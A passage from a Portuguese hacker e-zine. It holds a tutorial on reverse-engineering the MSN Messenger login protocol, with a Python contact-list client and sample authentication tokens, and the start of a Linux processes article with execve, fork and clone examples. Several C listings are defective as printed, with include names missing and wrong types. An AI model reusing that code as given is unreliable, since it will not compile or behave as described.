deve- ra enviar alguns dados referente ao seu cliente e sistema operacional para o NS, que contem algumas informacoes como seu idioma, o nome e versao do cliente utilizado, o nome e versao do SO, etc. Caso seja o cliente oficial da Micro$oft, o servidor retornara como resposta uma versao recomendada para uso. >>> CVR 2 0x0409 win 4.10 i386 MSMSGR 6.2.0137 MSMSGR eu@email.com\r\n Este foi um exemplo de um cliente oficial. Os parametros passados sao os seguintes: 1o. - Numero hexa especificando o locale ID; 2o. - Tipo de SO utilizado; 3o. - Versao do SO; 4o. - Arquitetura; 5o. - Nome do cliente (MSMSGR eh o oficial); 6o. - Versao do cliente; 7o. - Este parametro SEMPRE sera o nome da versao oficial (MSMSGR); 8o. - Sua conta passport. Caso queira especificar um ID diferente em sua localidade, veja a tabela com alguns valores: LOCALIDADE: LCID: | LOCALIDADE: LCID: ----------------------------------------------------------------------- (default) 2048 | Hungria 1038 Bulgaria 1026 | Japao 1041 China 2052 | Korea 1042 Croacia 1050 | Portugal 2070 Belgica 2061 | Brasil 1046 Australia 3081 | Russia 1049 Canada 4105 | Espanha 1034 Jamaica 8201 | Argentina 11274 Nova Zelandia 5129 | Bolivia 16394 Caribe 9225 | Chile 13322 Filipinas 13321 | Colombia 9226 Africa do Sul 7177 | Costa Rica 7130 Inglaterra 2057 | Mexico 2058 Estados Unidos 1033 | Paraguai 15370 Franca 1036 | Uruguai 14346 Alemanha 1031 | Suecia 1053 ----------------------------------------------------------------------- OBs.: No comando anterior, usei o LCID (locale id) numero 0409, que eh default do cliente oficial. Apos ter enviado e recebido a resposta CVR, voce devera enviar o comando que identifica qual usuario (passaport) ira querer logar. Essa string devera conter um parametro de autenticacao que sempre sera TWN (algumas coisas ainda nao foram totalmente desvendadas hehe), um 'I' para indicar que o processo sera uma autenticacao (initiating authentication), e por ultimo seu e-mail que ira realizar o logon. >>> USR 3 TWN I eu@email.com\r\n Caso o servidor nao reconheca seu comando, ele ira fechar a conexao sem nenhuma resposta, ou, dependendo da string, podera resultar numa mensagem de erro. A tabela abaixo mostra alguns dos erros mais encontrados, lembrando que nem todos foram documentados por ainda serem desconhecidos. Caso queira ver mais sobre eles, recomendo visitar um dos links que disponibilizo no final deste artigo. ERROS: | DESCRICAO: ------------------------------------------------------------------------ 207 | Usuario ja esta logado. ------------------------------------------------------------------------ 223 | Caso tente criar novo grupo de contatos, esse erro indica | que voce ja atingiu o maximo permitido (30). ------------------------------------------------------------------------ 500 | Erro interno do NS (servico temporariamente indisponivel). ------------------------------------------------------------------------ 701 | Erro no comando CVR. ------------------------------------------------------------------------ 911 | Falha na autenticacao com o SB. ------------------------------------------------------------------------ 928 | Ticket invalido (veremos mais sobre isso na sequencia). ------------------------------------------------------------------------ A resposta dada pelo NS sera simples de ser entendida. Caso uma string contendo a instrucao XFR seja retornada, ela indicara um segundo servidor a ser conectado, obrigando voce fechar a conexao atual e criar uma nova no servidor indicado. Os parametros, conforme visto abaixo, correspondem a flag NS indicando que sera feita uma transferencia entre Notification Server, o server e porta que voce devera conectar (separados por dois-pontos), um "0" que nao nos importa neste caso, e o IP onde esta conectado atualmente. Quando criar a nova conexao, voce devera reiniciar todo o processo de autenticacao descrito acima, enviando a versao do protocolo, etc. Abaixo um exemplo de resposta XFR: <<< XFR 3 NS 207.46.106.145:1863 0 207.46.104.20:1863\r\n Uma vez reconectado no novo IP, a string de resposta contera um USR, in- dicando que houve sucesso nesta etapa do handshake. Se voce achou dificil esta parte, recomendo dar uma lida novamente desde o comeco, agora vem a parte traba- lhosa para poder autenticar. Daqui pra frente comeca um processo demorado, voce tera que manipular muitas strings que serao recebidas como resposta atraves dos comandos que serao enviados. Recomendo utilizar uma linguagem de alto-nivel de abstracao, que manipule strings com facilidade, isso vai ajudar muito. (se quiser usar regex, sinta-se a vontade :D). --=[ 4.0 Obtendo MS Passport e Ticket Agora que enviamos o pedido corretamente devemos obter o famoso MS Pas- sport para poder haver a autenticacao. Mais uma vez devemos criar um socket responsavel pela comunicacao com este novo servidor chamado "Nexus", ele eh um server dedicado para atender as requisicoes dos passports para os usuarios, indicando o ticket (uma string aleatoria) para autenticacao final. Para fazer isto, devemos enviar um GET pelo protocolo HTTPS versao 1.0 para a url "https://nexus.passport.com/rdr/pprdr.asp", que ira retornar os dados para serem tratados. Abaixo esta um exemplo de retorno: <<< HTTP/1.1 200 OK\r\n <<< Server: Microsoft-IIS/5.0\r\n <<< Date: Mon, 02 Jun 2003 11:57:47 GMT\r\n <<< Connection: close\r\n <<< PassportURLs: DARealm=Passport.Net,DALogin=login.passport.com/login2.srf,DAReg=http://register.passport.net/uixpwiz.srf,Properties=https://register.passport.net/editprof.srf,Privacy=http://www.passport.com/consumer/privacypolicy.asp,GeneralRedir=http://nexusrdr.passport.com/redir.asp,Help=http://memberservices.passport.net/memberservice.srf,ConfigVersion=11\r\n <<< Content-Length: 0\r\n <<< Content-Type: text/html\r\n <<< Cache-control: private\r\n <<< \r\n O nexus apenas esta indicando o server a ser contactado para adquirir o ticket. Perceba no parametro PassportURLs que existe uma variavel DALogin apon- tando ao servidor "login.passport.com", que sera responsavel em nos entregar o ticket. Logo apos a comunicacao com o servidor passport, ha o encerramento da conexao como visto em "Connection: close\r\n". Devemos agora enviar um GET usando o mesmo HTTPS para a url indicada na conexao anterior, "login.passport.com/login2.srf". No parametro Authorization, algumas variaveis deverao ser definidas pelo programador, que sao "sign-in" e "pwd", representando respectivamente o e-mail 'urlencoded' e a senha. Este ser- vidor de login devera receber nosso comando da seguinte forma: >>> GET /login2.srf HTTP/1.0\r\n >>> Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2E msn%2Ecom,sign-in=eu%40email.com,pwd=password,lc=1033,id=507,tw=40,fs=1,ru=http %3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1062764229,kpp=1,kv=5,ver=2.1.0173.1,tpf=43f8 a4c8ed940c04e3740be46c4d1619\r\n >>> Host: login.passport.com\r\n\r\n (nao esqueca de encodar o email, como visto acima, substituindo '@' por '%40'). Respondendo a nossa requisicao, o servidor podera retornar uma mensagem de redirecionamento como mostrado abaixo: <<< HTTP/1.1 302 Found\r\n <<< Server: Microsoft-IIS/5.0\r\n <<< Date: Sun, 06 Mar 2005 11:58:32 GMT\r\n <<< PPServer: H: LAWPPLOG5C006\r\n <<< Connection: close\r\n <<< Content-Type: text/html\r\n <<< Expires: Sun, 06 Mar 2005 11:57:32 GMT\r\n <<< Cache-Control: no-cache\r\n <<< cachecontrol: no-store\r\n <<< Pragma: no-cache\r\n <<< P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"\r\n <<< Authentication-Info: Passport1.4 da-status=redir\r\n <<< Location: https://login.passport.com/login2.srf?lc=1033\r\n <<< \r\n Aqui vemos algo importante: o servidor nos pede para redirecionar a co- nexao para o servidor "loginnet.passport.com". Este eh um jeito mais confiavel para o processo de obtencao de ticket, porem pode-se seguir a regra de que se voce possuir uma conta hotmail ou msn, o servidor sera o citado acima, caso con- trario, uma conta fora dos dominios da Micro$oft, o servidor sera o conhecido "login.passport.com". Caso a mensagem nao seja a de redirecionamento, obteremos o nosso ticket: <<< HTTP/1.1 200 OK\r\n <<< Server: Microsoft-IIS/5.0\r\n <<< Date: Sun, 06 Mar 2005 11:59:00 GMT\r\n <<< PPServer: H: LAWPPIIS6B061\r\n <<< Connection: close\r\n <<< Content-Type: text/html\r\n <<< Expires: Sun, 06 Mar 2005 11:58:00 GMT\r\n <<< Cache-Control: no-cache\r\n <<< cachecontrol: no-store\r\n <<< Pragma: no-cache\r\n <<< P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"\r\n <<< Set-Cookie: MSPSec1= ; expires=Thu, 30-Oct-1980 16:00:00 GMT;domain=.pas sport.com;path=/;HTTPOnly= ;version=1\r\n <<< Set-Cookie: MSPSec=5Cdd1SshOELpwqafsSuYSiDEuEtP1PUaX99YOZcaoJP3vkIn7DXoz t868I7eJNjcWG; HTTPOnly= ; domain=.passport.com;path=/;secure=\r\n <<< Set-Cookie: MSPAuth=5yDBU0BqvDa7UiY9W9nVEncRXCLD4gjLmtEr2XkunnafkOgdgG5x *CEpqe7MyZEOir*EiA1PbwLKzqCGO671TeTQ$$; HTTPOnly= ; domain=.passport.com;path=/\r\n <<< Set-Cookie: MSPProf=5a0mKE6PKDsxz!*4apQt0amnQOGLYqcCm78ie!MmHq0KnAiIJM0z 0Zajs8NL7ux7Ae0hnH5AAoB!zXIZ9jTA2rcQttC*RKKRsc9k7JflwThB!H0Qa*6ipGcdj5co6taPir; HTTPOnly= ; domain=.passport.com;path=/\r\n <<< Set-Cookie: MSPVis=507;domain=.passport.com;path=/\r\n <<< Set-Cookie: MSPPre=eu@email.com; HTTPOnly= ; domain=.passport.com;path=/; Expires=Wed, 30-Dec-2037 16:00:00 GMT\r\n <<< Set-Cookie: MSPShared= ; HTTPOnly= ; domain=.passport.com;path=/;Expires= Thu, 30-Oct-1980 16:00:00 GMT\r\n <<< Authentication-Info: Passport1.4 da-status=success,tname=MSPAuth,tname= MSPProf,tname=MSPSec,from-PP='t=53*1hAu8ADuD3TEwdXoOMi08sD*2!cMrntTwVMTjoB3p6st WTqzbkKZPVQzA5NOt19SLI60PY!b8K4YhC!Ooo5ug$$&p=5eKBBC!yBH6ex5mftp!a9DrSb0B3hU8aq AWpaPn07iCGBw5akemiWSd7t2ot!okPvIR!Wqk!MKvi1IMpxfhkao9wpxlMWYAZ!DqRfACmyQGG112B p9xrk04!BVBUa9*H9mJLoWw39m63YQRE1yHnYNv08nyz43D3OnMcaCoeSaEHVM7LpR*LWDme29qq2X3 j8N',ru=http://messenger.msn.com\r\n <<< Content-Length: 0\r\n <<< \r\n Enfim, temos o nosso ticket, mostrado no parametro "Authenticaction-Info". No nosso caso, ele sera: t=53*1hAu8ADuD3TEwdXoOMi08sD*2!cMrntTwVMTjoB3p6stWTqzbkKZPVQzA5NOt19SLI60PY!b8K 4YhC!Ooo5ug$$&p=5eKBBC!yBH6ex5mftp!a9DrSb0B3hU8aqAWpaPn07iCGBw5akemiWSd7t2ot!ok PvIR!Wqk!MKvi1IMpxfhkao9wpxlMWYAZ!DqRfACmyQGG112Bp9xrk04!BVBUa9*H9mJLoWw39m63YQ RE1yHnYNv08nyz43D3OnMcaCoeSaEHVM7LpR*LWDme29qq2X3j8N Note que qualquer que seja a resposta do servidor, a conexao sera encerrada, tanto para redirecionamento quanto na obtencao final do ticket. --=[ 5.0 Conexao Estabelecida Ufa! Finalmente passamos pela parte mais demorada do processo. Agora que temos o ticket, mande o comando USR para o primeiro NS que voce conectou (depois de tantas conexoes, espero que ainda lembre :P). >>> USR 4 TWN S t=(blablabla.. toda a string do ticket) Quando enviar este comando, voce estara conectado. Uma dica interessante eh estar online em um cliente como aMSN ou o proprio oficial, e perceber que quando o comando for enviado com sucesso sua conexao no cliente ira cair, visto que o MSNP nao permite duas conexoes simultaneas. Depois de conectar, pode ser implementado uma serie de instrucoes. Nao irei aborda-las agora justamente por ser muito extensa, e este paper eh apenas o basico para iniciar o jovem aprendiz neste mundo. Mas, caso queira ver sua lista de contatos, envie alguns comandos de sincronizacao: >>> SYN 4 0 0\r\n Imprima a resposta do server :) Se voce interessar por mais instrucoes, consulte o link que disponibilizo no final do paper. --=[ 6.0 Exemplo Simples Confira um pequeno script feito em python que fiz exemplificando toda essa teoria. Para executar apenas atribua um "+x" nele e execute. (espero que entendam python, nao eh complicado caso tenha alguma nocao de programacao). <++> msn.py #!/usr/bin/env python ###################################################################### # - msn.py # # Cliente MSN que obtem a lista de contatos de uma determinada conta. # Programa exemplo como parte do artigo "MSN Hacking" publicado no # MOTD Guide #4. Confira em guide.motdlabs.org # # by Leandro ###################################################################### from socket import * from sys import * from os import * from string import * import getpass #################################### # Funcao para pegar o MSN Passport def passport(login,senha,string): sock_passport = socket(AF_INET,SOCK_STREAM) sock_passport.connect(('nexus.passport.com',443)) # Veja a porta... req = "GET /rdr/pprdr.asp HTTP/1.0\r\n\r\n" ssl_conn = ssl(sock_passport) # ... SSL :) ssl_conn.write(req) buffer_passport = ssl_conn.read() tmp = buffer_passport.split("DALogin=") buffer_passport = tmp[1] tmp = buffer_passport.split(",") buffer_passport = tmp[0] tmp = buffer_passport.split("/") passport_server = tmp[0] sock_passport.close() sock_passport = socket(AF_INET,SOCK_STREAM) sock_passport.connect((passport_server,443)) # Fora do nexus.passport.com ssl_conn = ssl(sock_passport) str = string.split("TWN") string = str[1] str = string.split() string = str[1] username = login.split("@") buffer_passport = "GET /login2.srf HTTP/1.0\r\n\r\nAuthorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + username[0] + "%40" + username[1] + ",pwd=" + senha + "," + string + "\r\n\r\nHost: " + passport_server + "\r\n\r\n" ssl_conn.write(buffer_passport) buffer_passport = ssl_conn.read() if count(buffer_passport,"Location:") == 0: sock_passport.close() print "[-] Erro na aquisicao do Passport" exit(0) tmp = buffer_passport.split("Location:") buffer_passport = tmp[1].split() location = buffer_passport[0].split("?") sock_passport.close() log = login.split('@') if log[1] == "hotmail.com" or log[1] == "msn.com": server = "loginnet.passport.com" else: server = "login.passport.com" sock_passport = socket(AF_INET,SOCK_STREAM) sock_passport.connect((server,443)) ssl_conn = ssl(sock_passport) buffer_passport = "GET /login2.srf HTTP/1.1\r\nAuthorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + username[0] + "%40" + username[1] + ",pwd=" + senha + "," + string + "\r\nHost: login.passport.com\r\n\r\n" ssl_conn.write(buffer_passport) buffer_passport = ssl_conn.read(2024) tmp = buffer_passport.split('t=') buffer_passport = tmp[1].split("\',ru=") ticket = buffer_passport[0] tmp = "USR 4 TWN S t=" + ticket + "\r\n" sock_passport.close() return(tmp) #################################### # Principal if len(argv) != 2: print """ MSN Contact List - Example Version ================================== Retorna a lista de contatos de uma conta MSN. Uso: %s ------------------------- Leandro A. Thomas """ % argv[0] exit(0) senha = getpass.getpass("Digite sua senha: ") conta = argv[1] buffer_xfr = "XFR" # Parametro que define que a transacao de mensagens # esta ocorrendo com sucesso endereco = "messenger.hotmail.com" # Definindo nosso server porta = 1863 # Porta padrao while buffer_xfr == "XFR": request = "VER 1 MSNP9 MSNP10\r\n" # Compativel com 2 versoes do MSNP s = socket(AF_INET,SOCK_STREAM) s.connect((endereco,porta)) s.send(request) print "\n[+] Conectando (%s:%s)" % (endereco,porta) buffer = s.recv(1024) if buffer == "VER 1 0\r\n": # Avisando que houve algum erro print "[-] Desconectado do servidor!" exit(0) request = "CVR 2 0x0409 win 4.10 i386 MSMSGR 6.2.0137 MSMSGR %s\r\n" % conta s.send(request) buffer = s.recv(1024) request = "USR 3 TWN I %s\r\n" % conta s.send(request) print "[+] Enviando username (%s)" % conta buffer = s.recv(1024) splited_buffer = buffer.split() if splited_buffer[0] == "XFR": # Conectar ao server indicado buffer_xfr = "XFR" foo = splited_buffer[3].split(':') endereco = foo[0] porta = int(foo[1]) print "[-] Redirecionando a outro servidor" s.close() elif splited_buffer[0] == "USR": # Conexao feita com sucesso print "[+] Requerindo MS Passport" auth = passport(conta,senha,buffer) s.send(auth) buffer = s.recv(1024) print "[+] Usuario logado com sucesso!" break else: print "[-] Erro desconhecido" s.close() exit(0) # Alguns comandos de sincronizacao buffer = "SYN 4 0 0\r\n" s.send(buffer) buffer = s.recv(1024) buffer = "SYN 4 0 0\r\n" s.send(buffer) buffer = s.recv(1024) buffer = "SYN 4 0 0\r\n" s.send(buffer) buffer = s.recv(1024) print "\n\tSUA LISTA DE CONTATOS:\n" buffer = "SYN 4 0 0\r\n" s.send(buffer) buffer = s.recv(1024) buffer = "SYN 4 0 0\r\n" s.send(buffer) buffer = s.recv(3024) buffer = "SYN 4 0 0\r\n" s.send(buffer) buffer = s.recv(1024) buffer = "SYN 4 0 0\r\n" s.send(buffer) buffer = s.recv(1024) print buffer s.close() <--> msn.py --=[ 7.0 Referencias Confira alguns links que disponibilizo caso queira se aprofundar no assunto. Sei que sao poucos, mas garanto que sao suficientes :) RFC 2616 - HyperText Transfer Protocol (HTTP) Python Official MSN Messenger Protocol --=[ 8.0 Consideracoes Finais "- Entendi o protocolo MSN, e dai?" Entendendo seu funcionamento podemos nao apenas satisfazer a curiosida- de do que ocorre por tras dos "bastidores" mas como tambem fucar, desenvolver alguma pequena aplicacao utilizando os principios de comunicacao seguindo esse protocolo, fazendo um "divertido" script ou ateh colaborando com projetos open source. Ha algum tempo atras foi divulgado um binario para Windows que, quando executado, mandava a mensagem "SOU GAY!!!" para todos os usuarios online em uma contact list, utilizando esses mesmos principios :P Por fim, fechando este artigo, peco desculpas por nao ter aprofundado mais, apenas tentei resumir o maximo possivel para explicar os passos basicos do protocolo, porem fiquei com medo de fazer algo meio superficial e deixar muita gente sem entender direito algumas partes. Superficial? Bem, ficou um pouco, ainda poderia ser dito muito mais, mas essa leitura ja deve valer a pena e satisfazer muitos fucadores interessados em programar utilizando o MSNP :) Antes que esqueca, gostaria de agradecer o pessoal do MotdLabs por terem confiado em mim e mandar um 'alo' para alguns grandes amigos: galera do RFDSLabs, GotFault, Recife Phrack Staff (hehehe), e toda a galera que eu converso e troco informacoes. Hacking for freedom, hacking for knowledgment! Leandro _EOF_ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-[06]-=[Linux além do printf I - Processos e Threads]=-|Jader H. S. (aka Vo)|- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= --=[ 1.0 Introdução O sistema operacional Linux está entre os sistemas que mais crescem atualmente. A expansão da sua utilização abre novas fronteiras para a comunida- de de programadores e hackers, que possuem agora uma poderosa plataforma volta- da em grande parte para essas pessoas sem perder sua flexibilidade, bastante notável nos sistemas embarcados ou, em inglês, "embedded systems" que são sis- temas utilizados em plataformas específicas, como sistemas de localização de carros e aviões. A flexibilidade herdada de sistemas UNIX presente no Linux aliada a uma interface de programação bastante versátil permite a construção de aplicações diversas e bastante inovadoras, aptas a concorrer com softwares comerciais bas- tante conhecidos presentes em outras plataformas. Esta série de artigos dedica-se basicamente ao esclarecimento dos meca- nismos e ferramentas disponíveis para a programação em ambiente Linux, além da introdução de conceitos da computação e algoritmos que podem aumentar a produ- tividade de seu software. Este artigo trata sobre processos e threads e manei- ras de manipulá-los em ambiente Linux. * Todos os exemplos aqui utilizados foram criados por mim e testados com sucesso num ambiente Linux, kernel 2.6.15, AMD Athlon 1.6 GHz, 512MB Ram. --=[ 2.0 Pequena introdução a sistemas multitarefa Um processador é uma peça eletrônica, e como tal, tem seus limites. Ge- ralmente não se processa mais de uma informação por vez em um processador (ex- ceto com a tecnologia HyperThreading, que emula dois processadores em um só). Isso equivale a dizer que nenhum programa pode ser executado quando outro está ocupando o processador. O MS-DOS ilustra bem essa situação. Se você ainda se lembra do MS-DOS, deve lembrar também que quando você abria um editor de texto, por exemplo, fi- cava preso ao mesmo e não podia executar nenhum outro programa enquanto o edi- tor estivesse aberto (o mesmo se aplicava a quaisquer outros programas). Atualmente, a maioria dos sistemas é multitarefa. Nestes sistemas, os programas compartilham o tempo de execução no processador com outros programas. O programa que está sendo executado é paralisado e ocorre uma mudança do con- texto de execução de maneira tão rápida que um ser humano não é capaz de notar. Assim como um filme é uma seqüência de imagens estáticas, que são tro- cadas tão rapidamente de maneira que nosso cérebro as funde em uma animação, os programas rodam em seqüência, e cedem (passivamente) a execução para outros programas em espaços de tempo imperceptíveis a um ser humano. Essa rotação da execução dos programas no processador é realizada pelo sistema operacional, que também gerencia a quantidade de tempo que um programa permanece executando por vez. --=[ 3.0 Processos Um processo é um conjunto de estruturas dados e códigos que compõem ou não uma unidade de execução interpretável pelo kernel, ou seja, um processo é basicamente um programa na memória, sendo executado ou aguardando execução. A estrutura de um processo varia conforme a plataforma de software e hardware. Os processos geralmente possuem identificadores únicos no sistema conhecidos como PID (Process IDentifiers) que permitem identificar um processo para a classificação e realização de tarefas externas, como finalizar a execu- ção de maneira forçada, por exemplo, quando um processo "trava". Genericamente, um processo (ou thread, veremos mais à frente) está em 1 de 3 estados distin- tos: executando, aguardando execução ou bloqueado. Os processos que aguardam execução geralmente dispõem-se em uma fila ordenada, que, de acordo com o agendador de processos (do sistema operacional), pode modificar-se dinamicamente para priorizar ou não a execução de determinado processo. Um processo bloqueado está aguardando algum recurso ou a finalização de alguma operação de entrada e saída (E/S ou I/O) para continuar sua execução (leitura do disco, por exemplo). Um processo que está executando é um processo que está executando (ora, pensou que fosse o quê?). Os processos possuem seu próprio espaço virtual que varia de arquitetu- ra para arquitetura (geralmente e teoricamente: 4GB em x86, mas pode chegar até 64GB). O espaço virtual permite que processos não tenham acesso a dados perten- centes a outros processos e dá ao processo a "impressão" de que a máquina está executando apenas o processo atual. O espaço virtual de um processo geralmente divide-se em 3 partes: código (text), dados (data) e pilha (stack). O código (text) geralmente compreende me- mória protegida contra alterações, permitindo somente leitura e execução. Os dados (data) compreendem a área de dados estáticos e a de dados dinâmicos (Heap). Os dados estáticos já estão definidos para o programa mesmo antes de sua execu- ção, enquanto a área de dados dinâmicos permite a criação e alocação de memória durante a execução do programa. A pilha é uma área da memória utilizada pelo programa para armazenar dados dinâmicos que serão acessados rapidamente. A pilha pode crescer ou diminuir conforme as necessidades do processo. No Linux da ar- quitetura x86, o modelo de memória mais utilizado é o seguinte: Código em endereços baixos Dados entre código e pilha Pilha nos endereços altos A pilha "cresce para baixo" na arquitetura x86, ou seja, dos endereços mais altos para os mais baixos. Podemos confirmar esta disposição com um pequeno teste. Abaixo está um código que imprime a posição aproximada do início do có- digo, pilha e dados. <++> lap1/posicao.c int meu_int_estatico; int main(void) { int meu_int = 0; printf("Código aproximadamente em: 0x%.8X\n" "Dados aproximadamente em: 0x%.8X\n" "Pilha aproximadamente em: 0x%.8X\n", main, &meu_int_estatico, &meu_int); return 0; } <--> lap1/posicao.c Acredito que é um código portável. Compilando e executando, obtive: Código aproximadamente em: 0x0804833C Dados aproximadamente em: 0x08049490 Pilha aproximadamente em: 0xBF8D7474 Confirmado. Ao menos aqui =P Note que os endereços realmente estão em ordem crescente. Se você ainda estiver em dúvida quanto ao endereçamento no espaço vir- tual, é só lembrar que os endereços da memória virtual não são necessariamente endereços reais. Os endereços são mapeados de endereços virtuais a reais (ge- ralmente pelo processador). É possível manter uma variável no início do primei- ro MB da memória (endereço 0x10000) e mapeá-la no início do terceiro GB (ende- reço 0xC0000000). Quando o programa for acessar essa variável no endereço 3GB, o processador faz a conversão desse endereço para o endereço original (1MB, 0x00010000). --=--=[ 3.1 Criando processos A maneira mais simples de se criar processos é através da syscall (cha- mada do sistema (leia "função do kernel" se estiver com dúvidas)) execve(), bastante famosa em artigos sobre overflow. Essa função cria um novo processo através de um arquivo executável, passando argumentos e, opcionalmente, variá- veis de ambiente. Vejamos um simples código que executa o famoso "/bin/sh": <++> lap1/shell.c /* Execve /bin/sh */ int main(void) { char argv[2]; argv[0] = "/bin/sh"; argv[1] = NULL; execve("/bin/sh", argv, NULL); return 0; } <--> lap1/shell.c Ao executar esse exemplo, se não houverem erros, o programa a ser exe- cutado ("/bin/sh") irá sobrescrever os dados e código do processo atual e a função nunca retornará. O processo criado herda todos os privilégios e manipu- ladores de arquivos que ainda estão abertos durante a chamada a execve(). O no- vo processo também herda o PID do processo pai. Os parâmetros de execve são o nome do arquivo/script a ser usado para criar o novo processo, os parâmetros passados ao novo processo (não pode ser NULL) e as variáveis de ambiente (que pode ser null). A limitação de execve reside basicamente no fato de que o processo que a chama perde seu espaço de execução para o processo criado. Para ultrapassar essa limitação, existe outra chamada, a fork(). A fork() cria um processo filho idêntico ao processo pai, exceto pelo PID e pelos manipuladores de arquivos. A fork retorna ao processo pai o pid do processo filho, e ao processo filho, retorna 0. Em caso de erro retorna -1 e o processo filho não é criado. A função fork() não tem parâmetros. Vamos ver um exemplo simples de código que utiliza fork() para criar um servidor usando so- ckets. <++> lap1/forkserver.c /* Fork socket server */ #include #include #include #include #include #include #include #include #include #include #include #define MAX_CLIENTES 4 #define MAX_RECVS 4 int ecoar_cliente(int, sockaddr_in *); int main(int argc, char *argv[]) { if( argc < 2 ) { printf("Fork socket server\nUso:\n\t%s porta [nome]\n", argv[0]); return 0; } unsigned int porta = atoi(argv[1]); if( ! porta || porta >= 65536 ) { printf("Valor de porta inválido: %u\nDeveria estar entre 1 e 65535", porta); return -1; } char *nome; if( argc >= 3 ) { nome = argv[2]; } else { nome = "localhost"; } int server_socket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if( server_socket == -1 ) { perror("Erro em socket()"); return -2; } sockaddr_in sAddr; bzero(& sAddr, sizeof(sAddr)); hostent *ht = NULL; if( isdigit( nome[0] ) ) { in_addr_t ad = inet_addr(nome); ht = gethostbyaddr(& ad, sizeof(ad), AF_INET); } else { ht = gethostbyname(nome); } if( ! ht ) { perror("Erro em gethostby*()"); close(server_socket); return -3; } sAddr.sin_family = PF_INET; sAddr.sin_port = htons(porta); memcpy( & sAddr.sin_addr, ht->h_addr_list[0], sizeof(in_addr)); if( bind(server_socket, (sockaddr *) & sAddr, sizeof(sAddr)) ) { perror("Erro em bind()"); close(server_socket); return -4; } int nc, new_fd, pid[4]; socklen_t addrsize = sizeof(sockaddr_in); sockaddr_in cliente_addr; for(nc = 0;nc < MAX_CLIENTES;nc ++) { if( listen(server_socket, 4) ) { perror("Erro em listen()"); close(server_socket); return -5; } new_fd = accept(server_socket, (sockaddr *) & cliente_addr, & addrsize); if( new_fd == -1 ) { perror("Erro em accept()"); close(server_socket); return -6; } /* Aqui está o que interessa =] */ pid[nc] = fork(); if( pid[nc] == -1 ) { perror("Erro em fork()"); close(server_socket); return -7; } if( ! pid[nc] ) { ecoar_cliente(new_fd, & cliente_addr); return 0; } } close(server_socket); return 0; } int ecoar_cliente(int fd, sockaddr_in *addr) { printf("Conexão recebida de %s\n", inet_ntoa(addr->sin_addr)); char buf[256]; int ret; for(unsigned int x = 0;x < MAX_RECVS;x ++) { ret = recv(fd, buf, 255, 0); if( ret == -1 ) { perror("Erro em recv()"); close(fd); return -1; } buf[ret] = '\0'; printf("%s", buf); } printf("Processo filho fechando socket...\n"); shutdown(fd, SHUT_RDWR); close(fd); return 0; } <--> lap1/forkserver.c Se você tem alguma noção sobre sockets, o código acima não deve ser problema. Esse exemplo é didático e apresenta vários erros, mas o que importa é a utilização da função fork(). Nesse exemplo, utilizamos fork() sempre que um cliente tenta se conectar ao nosso servidor. Quando o cliente obtém a conexão, chamamos fork() e as men- sagens que o cliente manda são tratadas por um processo recém criado pela fork() . O processo original continua esperando por outras conexões. A função fork(), nesse exemplo, tem como objetivo impedir o "travamento" causado pela recv() em sockets do tipo "blocking", que poderia trazer problemas de espera quando vári- os clientes tentam mandar dados e outros não. Esse exemplo simplesmente recebe dados e ecoa diretamente para o terminal. Para testar esse exemplo, compile como código c++. Para testá-lo, você pode utilizar o seguinte comando: $ telnet host porta onde "host" é o host onde o programa roda ("localhost", por exemplo) e porta é a porta que você especificou no servidor ("9000", por exemplo). Além da fork(), temos a vfork(). A vfork() é semelhante à fork(), exceto pelo fato de que a vfork() bloqueia o processo pai e utiliza a memória do mesmo para a execução do processo filho. Essa função deve ser utilizada apenas para casos em que o processo filho não retorna da função na qual foi criado, não al- tera qualquer dados (com exceção da variável de retorno de vfork()) e não chama qualquer função (com exceção de _exit() e execve()). Caso uma destas duas limi- tações sejam desrespeitadas, a execução poderá apresentar comportamento indefi- nido. O processo filho criado por vfork() geralmente chama execve() ou _exit() imediatamente após sua criação (obs: não chamar exit(), e sim _exit()). Por último, mas não menos importante, temos a clone(). Os processos cri- ados por essa função podem herdar o espaço de execução e manipuladores abertos do processo pai. Ao contrário da fork(), essa função não inicia o processo após a chamada, e sim em uma função definida. Em caso de sucesso, essa função retor- na o pid do processo criado, caso contrário, retorna -1. Vejamos um exemplo: <++> lap1/clone.c /* clone operation */ #include #include #include int ocupado = 0; int operacao_demorada(void); int main(void) { printf("Shell interativa\n\n"); char buf[256]; void *pilha; while(1) { printf("# "); scanf("%256s", buf); if( ! strcmp(buf, "sair") || ! strcmp(buf, "exit") ) { break; } else if( ! strcmp(buf, "od") ) { pilha = malloc(512); if( ! pilha ) { perror("Erro em malloc()"); } if( clone(operacao_demorada, pilha, 0, NULL) == -1 ) { perror("Erro em clone()"); return -1; } } } return 0; } int operacao_demorada(void) { printf("Operação iniciada\n"); sleep(10); /* O que foi? Um sleep não está bom? */ printf("Operação finalizada\n"); return 0; } <--> lap1/clone.c O exemplo acima cria uma shell interativa que recebe 3 comandos: "exit" ou "sair" (que fecham o programa) e "od". O comando "od" inicia um processo na função "operacao_demorada", que poderia "travar" a shell se não fosse executado em outro processo. A função clone() é utilizada no linux para implementar threads (ou pro- cessos leves (Lightweight process, LWP)). Os parâmetros de clone() são: a fun- ção inicial para o novo processo (deve ser do tipo "int funcao(void)"), um bu- ffer para a pilha do novo processo, flags de criação e argumentos para o novo processo. Dentre as flags, as mais importantes são CLONE_VM (que permite que o processo pai e o processo filho dividam a área de dados (toda escrita e mapea- mento feito na memória de um processo estará presente na memória do outro), CLONE_FS (ambos os processos compartilham informações sobre o sistema de arqui- vos, qualquer alteração reflete-se no outro processo), CLONE_FILES (ambos os processos compartilham manipuladores de arquivos novos ou existentes), CLONE- _SIGHAND (ambos os processos compartilham os manipuladores de sinais) e CLONE- _PID (ambos os processos terão o mesmo identificador de processos). --=[ 4.0 Threads Como dito anteriormente, um processo pode ou não ser considerado uma u- 